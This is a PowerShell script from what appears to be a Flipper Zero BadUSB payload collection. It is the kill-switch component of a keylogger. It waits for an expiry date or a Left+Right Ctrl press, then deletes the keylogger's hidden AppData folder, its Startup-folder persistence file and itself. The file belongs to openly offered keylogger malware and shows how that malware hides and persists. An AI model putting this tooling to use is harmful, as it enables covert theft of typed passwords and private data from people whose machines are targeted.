Flipper-Zero-BadUSB/Payloads/Flip-Keylogger/exit.ps1
2022-12-25 23:54:06 -06:00

15 lines
745 B
PowerShell

Add-Type -AssemblyName WindowsBase
Add-Type -AssemblyName PresentationCore,PresentationFramework
while($true){
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
if((Get-Content "$env:appdata\-locker\killswitch.txt") -ne $null -and ((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){
sleep 5
Remove-Item "$env:appdata\-locker" -Recurse -Force;
Remove-Item "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd"
$done = New-Object -ComObject Wscript.Shell;$done.Popup("Keylogger Disabled",3)
Remove-Item "$env:appdata\-exit.ps1"
}
else{continue}
}